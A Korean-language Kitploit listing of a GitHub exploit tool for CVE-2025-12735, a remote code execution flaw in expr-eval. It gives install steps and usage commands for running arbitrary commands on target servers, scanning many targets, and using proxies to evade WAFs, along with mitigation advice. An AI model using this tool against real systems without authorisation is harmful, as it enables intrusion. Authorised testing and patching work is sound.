Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-12735-expr-eval-rce — CVE-2025-12735 (expr-eval RCE 취약점) 탐지 및 테스트를 위한 보안 연구 도구 | Kitploit
도구/GitHubGitHub/an5i/cve-2025-12735-expr-eval-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHuban5i/cve-2025-12735-expr-eval-rce

cve-2025-12735-expr-eval-rce

CVE-2025-12735 (expr-eval RCE 취약점) 탐지 및 테스트를 위한 보안 연구 도구

저장소 보기
119개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-12735 expr-eval RCE 익스플로잇 도구

expr-eval 및 expr-eval-fork npm 패키지의 CVE-2025-12735 취약점을 탐지하고 테스트하기 위한 보안 연구 도구입니다.

⚠️ 면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 승인되지 않은 컴퓨터 시스템 접근은 불법입니다. 본 도구는 소유하고 있거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오.

📋 개요

CVE-2025-12735는 expr-eval 및 expr-eval-fork npm 패키지에서 발견된 심각한 원격 코드 실행 취약점입니다. 이 취약점은 공격자가 파서가 사용하는 context 객체 내에 임의의 함수를 정의할 수 있게 하여, 시스템 수준 명령을 실행하는 악성 코드를 주입할 수 있도록 합니다.

CVSS 점수: 9.8 (심각)
영향받는 버전: expr-eval-fork < 3.0.0
수정 버전: expr-eval-fork v3.0.0+

🔍 기능

  • 자동 탐지: JavaScript 파일에서 expr-eval 라이브러리 사용 여부 스캔
  • 엔드포인트 발견: 평가(evaluation) 엔드포인트 자동 발견
  • 취약점 테스트: CVE-2025-12735 취약점 테스트
  • 명령 실행: RCE 기능 시연 (승인된 테스트용)
  • 멀티스레딩 지원: 여러 대상을 병렬로 스캔
  • 프록시 지원: WAF/Cloudflare 제한 우회
  • JSON 내보내기: JSON 형식의 상세 결과

📦 설치

사전 요구 사항

  • Python 3.6 이상
  • pip (Python 패키지 관리자)

빠른 설치

root@kitploit:~
# 저장소 복제
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce

# 의존성 설치
pip install -r requirements.txt

# 스크립트 실행 권한 부여 (선택 사항)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py

대안: 직접 다운로드

root@kitploit:~
# 스크립트 다운로드
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py

# 의존성 설치
pip install requests

🚀 사용법

기본 사용법

root@kitploit:~
# 단일 대상
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com

# 사용자 명령 실행
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"

# 파일에서 여러 대상
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json

# 스레드 사용으로 빠른 스캔
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5

# 자세한 출력 (디버깅)
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v

프록시 사용

root@kitploit:~
# 단일 프록시
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port

# 파일에서 여러 프록시
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt

명령줄 옵션

root@kitploit:~
-u, --url          대상 URL
-f, --file         대상 URL이 포함된 파일 (한 줄에 하나)
-c, --command      실행할 명령 (기본값: id)
-t, --threads      스레드 수 (기본값: 1)
-o, --output       출력 파일 (기본값: uknf_expr_eval_results.json)
-v, --verbose      상세 로깅 활성화
--proxy            프록시 URL (예: http://127.0.0.1:8080)
--proxy-list       프록시 URL이 포함된 파일 (한 줄에 하나)

📊 출력

스크립트는 JSON 파일로 상세 결과를 생성합니다:

root@kitploit:~
{
  "target": "http://target.com",
  "timestamp": "2025-11-20T15:35:32.638109",
  "expr_eval_detected": true,
  "vulnerable": true,
  "endpoint_found": true,
  "exploitation_successful": true,
  "command_executed": "id",
  "output": "uid=1000(user) gid=1000(user)...",
  "vulnerable_endpoint": "/api/evaluate"
}

🔬 작동 원리

  1. 탐지 단계: JavaScript 파일 및 HTML 콘텐츠에서 expr-eval 참조 스캔
  2. 엔드포인트 발견: expr-eval을 사용할 가능성이 있는 일반적인 API 엔드포인트 테스트
  3. 취약점 테스트: context 객체에 임의의 함수 주입 시도
  4. 익스플로잇: 취약할 경우 RCE 기능 시연

🛡️ 완화 조치

expr-eval 또는 expr-eval-fork를 사용 중인 경우:

  1. 즉시 업그레이드:

    root@kitploit:~
    npm install expr-eval-fork@latest
    
  2. 보안 패치 적용:

    • Pull Request #288을 expr-eval에 적용
    • 또는 expr-eval-fork v3.0.0+로 전환
  3. 입력 검증 구현:

    • 모든 사용자 입력 정리
    • 함수 화이트리스트 사용
    • context 객체 검증

📚 참고 자료

  • CVE: CVE-2025-12735
  • CERT: VU#263614
  • GitHub 권고: GHSA-jc85-fpwf-qm7x
  • 보안 패치: PR #288

📖 예제

예제 1: 단일 대상 스캔

root@kitploit:~
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com

예제 2: 여러 대상 및 출력

root@kitploit:~
# 대상 파일 생성
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# 스캔 실행
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json

예제 3: 사용자 명령 실행

root@kitploit:~
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"

예제 4: 프록시 사용

root@kitploit:~
# 단일 프록시
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080

# 파일에서 여러 프록시
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt

🤝 기여

기여는 언제나 환영합니다! 자유롭게 Pull Request를 제출해 주세요.

  1. 저장소를 포크합니다.
  2. 기능 브랜치를 생성합니다 (git checkout -b feature/AmazingFeature).
  3. 변경 사항을 커밋합니다 (git commit -m 'Add some AmazingFeature').
  4. 브랜치에 푸시합니다 (git push origin feature/AmazingFeature).
  5. Pull Request를 엽니다.

🐛 이슈

문제가 발생하거나 제안 사항이 있으면 GitHub에 이슈를 등록해 주세요.

📝 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

⭐ Star 기록

이 도구가 유용하다면 GitHub에서 스타를 눌러 주시기 바랍니다!

⚖️ 법적 고지

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 저자는 이 프로그램의 오용이나 그로 인한 손해에 대해 책임을 지지 않습니다. 사용자는 시스템을 테스트하기 전에 적절한 승인을 받았는지 확인할 책임이 있습니다.

🙏 감사의 말

  • 원본 취약점 보고자: Jangwoo Choe (UKO)
  • 취약점 공개에 협력한 CERT 조정 센터
  • 보안 권고를 제공한 GitHub Security 및 npm

💰 후원

이 도구가 유용하고 프로젝트를 후원하고 싶다면:

비트코인 (BTC):

root@kitploit:~
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv

이더리움 (ETH):

root@kitploit:~
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7

후원에 감사드립니다! 🙏

도구 다운로드